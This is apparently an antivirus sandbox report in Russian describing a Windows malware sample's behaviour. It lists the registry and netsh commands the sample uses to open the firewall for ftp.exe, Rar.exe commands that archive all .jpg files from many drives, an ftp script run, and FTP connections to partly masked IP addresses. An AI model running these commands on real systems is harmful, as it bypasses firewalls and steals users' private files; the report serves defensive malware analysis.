Техническая информация
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\ftp.exe' = '<SYSTEM32>\ftp.exe:*:Enabled:ENABLE'
Создает и запускает на исполнение:
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-G G:\*.jpg
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-E E:\*.jpg
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-H H:\*.jpg
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-Z Z:\*.jpg
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-I I:\*.jpg
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-F F:\*.jpg
- '%TEMP%\UpdatePuzzle.exe' /shtml template.html all
- '%TEMP%\Game.exe' /NOUAC /NOCONSOLE "run.bat"
- '%TEMP%\Rar.exe' a -r- -m1 -ag Template-DATE- template.html
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-D <Имя диска съемного носителя>:\*.jpg
- '%TEMP%\Rar.exe' a -r -m1 -ag Backup-C C:\*.jpg
Запускает на исполнение:
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\ftp.exe" ENABLE
- '<SYSTEM32>\ftp.exe' -s:script
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Allow FTP_out" dir=out action=allow enable=yes program="<SYSTEM32>\ftp.exe"
- '<SYSTEM32>\cmd.exe' /c run.bat
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Allow FTP_in" dir=in action=allow enable=yes program="<SYSTEM32>\ftp.exe"
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\Template-DATE-20130417181712.rar
- %TEMP%\script
- %TEMP%\Backup-C20130417181716.rar
- %ALLUSERSPROFILE%\Application Data\DYA_LRRDRUHPLKWCTGILS\1.0.0:$SS_DESCRIPTOR_SBXNV9VVGV1BFXV4KV4HCSBG6J16Y6X4H5RKJWJFSPF7VB4VP4GF
- %ALLUSERSPROFILE%\Desktop:$SS_DESCRIPTOR_SBXNV9VVGV1BFXV4KV4HCSBG6J16Y6X4H5RKJWJFSPF7VB4VP4GF
- %TEMP%\template.html
- %TEMP%\Backup-D20130417181747.rar
- %TEMP%\Backup-H20130417181805.rar
- %TEMP%\Backup-I20130417181809.rar
- %TEMP%\Backup-Z20130417181850.rar
- %TEMP%\Backup-F20130417181750.rar
- %TEMP%\Backup-E20130417181754.rar
- %TEMP%\Backup-G20130417181758.rar
- %TEMP%\Best.exe
- %TEMP%\Rar.exe
- %ALLUSERSPROFILE%\Application Data\DYA_RSPSMGBTJCPWPRRBV\1.0.0\Data\app.dat
- %TEMP%\UpdatePuzzle.exe
- %TEMP%\run.bat
- %TEMP%\Game.exe
- %ALLUSERSPROFILE%\Application Data\DYA_RSPSMGBTJCPWPRRBV\1.0.0\Data\updates.dat
- %ALLUSERSPROFILE%\Application Data\DYA_LRRDRUHPLKWCTGILS\1.0.0\Data\app.dat
- %ALLUSERSPROFILE%\Application Data\DYA_LRRDRUHPLKWCTGILS\1.0.0\Data\updates.dat
- %APPDATA%\DYA_LRRDRUHPLKWCTGILS\1.0.0\Data\dya.dat
- %APPDATA%\DYA_RSPSMGBTJCPWPRRBV\1.0.0\Data\dya.dat
- %ALLUSERSPROFILE%\Application Data\DYA_RSPSMGBTJCPWPRRBV\1.0.0:$SS_DESCRIPTOR_SBXNV9VVGV1BFL63THB0BLV9RJMT4TH2FVMB4KJFSPF7VBCVP4GV
- %ALLUSERSPROFILE%\Desktop:$SS_DESCRIPTOR_SBXNV9VVGV1BFL63THB0BLV9RJMT4TH2FVMB4KJFSPF7VBCVP4GV
Удаляет следующие файлы:
- %TEMP%\Backup-G20130417181758.rar
- %TEMP%\Backup-E20130417181754.rar
- %TEMP%\Backup-H20130417181805.rar
- %TEMP%\Backup-Z20130417181850.rar
- %TEMP%\Backup-I20130417181809.rar
- %TEMP%\template.html
- %TEMP%\Template-DATE-20130417181712.rar
- %TEMP%\Backup-C20130417181716.rar
- %TEMP%\Backup-F20130417181750.rar
- %TEMP%\Backup-D20130417181747.rar
Сетевая активность:
Подключается к:
- 'localhost':1047
- 'localhost':1045
- 'localhost':1049
- 'localhost':1053
- 'localhost':1051
- 'localhost':1043
- '93.##8.160.17':21
- 'localhost':1037
- 'localhost':1039
- 'localhost':1041
- '93.##8.160.27':21
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
